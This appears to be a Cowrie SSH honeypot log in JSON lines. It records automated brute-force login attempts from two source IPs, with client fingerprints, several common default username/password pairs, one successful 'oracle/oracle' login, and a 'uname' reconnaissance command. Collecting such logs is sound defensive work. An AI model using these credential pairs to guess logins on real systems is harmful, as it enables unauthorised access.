{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:17.118542Z","src_ip":"192.109.200.78","session":"bbfe196d9ebf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"abc123","message":"login attempt [guest/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:17.544682Z","src_ip":"192.109.200.78","session":"bbfe196d9ebf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:18.628510Z","src_ip":"192.109.200.78","session":"bbfe196d9ebf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37194,"dst_ip":"10.17.0.5","dst_port":22,"session":"37640fdc9280","protocol":"ssh","message":"New connection: 192.109.200.78:37194 (10.17.0.5:22) [session: 37640fdc9280]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:20.588993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:20.592951Z","src_ip":"192.109.200.78","session":"37640fdc9280","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:20.673813Z","src_ip":"192.109.200.78","session":"37640fdc9280","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"1234","message":"login attempt [rocky/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:21.122585Z","src_ip":"192.109.200.78","session":"37640fdc9280","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:22.206156Z","src_ip":"192.109.200.78","session":"37640fdc9280","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":10924,"dst_ip":"159.203.135.109","dst_port":22,"session":"bad385122fd3","protocol":"ssh","message":"New connection: 38.93.206.2:10924 (159.203.135.109:22) [session: bad385122fd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:22.921635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:22.925093Z","src_ip":"38.93.206.2","session":"bad385122fd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:22.974851Z","src_ip":"38.93.206.2","session":"bad385122fd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"555666a","message":"login attempt [root/555666a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:23.132448Z","src_ip":"38.93.206.2","session":"bad385122fd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:24.185387Z","src_ip":"38.93.206.2","session":"bad385122fd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34826,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb1f5eced917","protocol":"ssh","message":"New connection: 192.109.200.78:34826 (10.17.0.5:22) [session: bb1f5eced917]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:24.206089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:24.210276Z","src_ip":"192.109.200.78","session":"bb1f5eced917","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:24.291286Z","src_ip":"192.109.200.78","session":"bb1f5eced917","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle","message":"login attempt [oracle/oracle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:24.535335Z","src_ip":"192.109.200.78","session":"bb1f5eced917","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:24.735268Z","src_ip":"192.109.200.78","session":"bb1f5eced917","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:24.736994Z","src_ip":"192.109.200.78","session":"bb1f5eced917","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:24.820369Z","src_ip":"192.109.200.78","session":"bb1f5eced917","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:24.823883Z","src_ip":"192.109.200.78","session":"bb1f5eced917","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34838,"dst_ip":"10.17.0.5","dst_port":22,"session":"b082095a3ad8","protocol":"ssh","message":"New connection: 192.109.200.78:34838 (10.17.0.5:22) [session: b082095a3ad8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:27.533948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:27.593832Z","src_ip":"192.109.200.78","session":"b082095a3ad8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:27.805993Z","src_ip":"192.109.200.78","session":"b082095a3ad8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"1qaz2wsx","message":"login attempt [system/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:28.144491Z","src_ip":"192.109.200.78","session":"b082095a3ad8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:29.227794Z","src_ip":"192.109.200.78","session":"b082095a3ad8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34846,"dst_ip":"10.17.0.5","dst_port":22,"session":"93f6a657e7e2","protocol":"ssh","message":"New connection: 192.109.200.78:34846 (10.17.0.5:22) [session: 93f6a657e7e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:31.172708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:31.177261Z","src_ip":"192.109.200.78","session":"93f6a657e7e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:31.282373Z","src_ip":"192.109.200.78","session":"93f6a657e7e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"user2","message":"login attempt [user2/user2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:31.696458Z","src_ip":"192.109.200.78","session":"93f6a657e7e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:32.779067Z","src_ip":"192.109.200.78","session":"93f6a657e7e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49814,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4bda7788ee5","protocol":"ssh","message":"New connection: 192.109.200.78:49814 (10.17.0.5:22) [session: b4bda7788ee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:34.760094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:34.763525Z","src_ip":"192.109.200.78","session":"b4bda7788ee5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:34.845644Z","src_ip":"192.109.200.78","session":"b4bda7788ee5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nimda","message":"login attempt [root/nimda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:35.088792Z","src_ip":"192.109.200.78","session":"b4bda7788ee5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:36.174235Z","src_ip":"192.109.200.78","session":"b4bda7788ee5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49820,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e75d17e6ee7","protocol":"ssh","message":"New connection: 192.109.200.78:49820 (10.17.0.5:22) [session: 4e75d17e6ee7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:38.463066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:38.466705Z","src_ip":"192.109.200.78","session":"4e75d17e6ee7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:38.547290Z","src_ip":"192.109.200.78","session":"4e75d17e6ee7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@123","message":"login attempt [root/Root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:38.791815Z","src_ip":"192.109.200.78","session":"4e75d17e6ee7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:39.875476Z","src_ip":"192.109.200.78","session":"4e75d17e6ee7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40422,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ab8e16f6671","protocol":"ssh","message":"New connection: 192.109.200.78:40422 (10.17.0.5:22) [session: 4ab8e16f6671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:41.856210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:41.858691Z","src_ip":"192.109.200.78","session":"4ab8e16f6671","protocol":"ssh"}
